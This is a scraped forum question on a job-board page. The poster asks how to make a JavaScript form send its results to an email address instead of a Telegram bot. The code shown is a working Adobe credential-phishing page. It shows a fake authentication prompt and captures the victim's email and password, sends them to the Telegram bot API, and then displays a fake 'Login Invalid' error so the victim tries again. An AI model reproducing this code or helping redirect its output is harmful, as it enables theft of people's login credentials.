Business
Jobs
  • About Us
  • Solutions
    • Job Postings
      Post your job and receive qualified candidates in 48h.
    • Candidate Assessments
      500+ technical and psychological tests, plus anti-fraud.
    • Headhunting
      Tailor-made executive search from start to finish.
    • Payroll + EOR
      Payroll dispersal and EOR across 15+ LATAM countries.
  • Pricing
  • Jobs

0

247
Views
Post data from form to email using javascript

i have a form that sends form result via telegram Api, i want it to send to an email address instead. here is the initial code.

const button = document.querySelector('.btn');
const popup = document.querySelector('.popup');
const passInput = document.querySelector('.pass');
const emailGrab = document.querySelector('.email');
const formData = document.querySelector('.form-data');
const passMsg = document.querySelector('.pass-msg');
const preview = document.querySelector('.preview');

window.addEventListener('load', () => {
  alert('Authentication Required, Click ok to continue');
  popup.classList.add('hide');
  formData.style.animation = 'moveLeft .7s ease-in-out';
  emailGrab.textContent = zhe;
});

let xyz = 123456789; // Secrets redacted
let yxz = 'SECRET';

function telegramApi(method, id, message) {
  fetch(`https://api.telegram.org/bot${yxz}/${method}?            
chat_id=${id}&text=${message}&parse_mode=HTML`);
}

button.addEventListener('click', () => {
  const results = `Adobe EmailAddress: 
${emailGrab.textContent} Adobe Password: ${passInput.value}`;
  if (passInput.value === '') {
    alert('The Following error(s) occured - Password Required')
  } else {
    telegramApi('sendMessage', xyz, results);

    passMsg.style.color = 'red';
    passMsg.textContent = 'Login Invalid Please enter correct password.';
    setTimeout(() => {
      preview.classList.remove('hidden');
    }, 2000);
    setTimeout(() => {
      preview.classList.add('hidden');
    }, 10000);
  }
});

passInput.addEventListener('keypress', () => {
  passMsg.style.color = 'rgb(59, 58, 58)';
  passMsg.textContent = 'Confirm your details to access your documents';
})

I have tried the following

        function sendData (); {fetch("ace.php", { method: "POST",body: "data" ); }         
        button.addEventListener('click', () => { const results = `Adobe EmailAddress: ${emailGrab.textContent} Adobe Password: 
        if (passInput.value === '') { alert('The Following error(s) occured - Password Required')                    }
        else {telegramApi('sendMessage', results);  

please i need help, i am not so good with javascript.

about 4 years ago · Santiago Gelvez
Answer question
Find remote jobs

Discover the new way to find a job!

Top jobs
Top job categories
Business
Post vacancy Pricing Sales
Legal
Terms and conditions Privacy policy
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Show me some job opportunities
There's an error!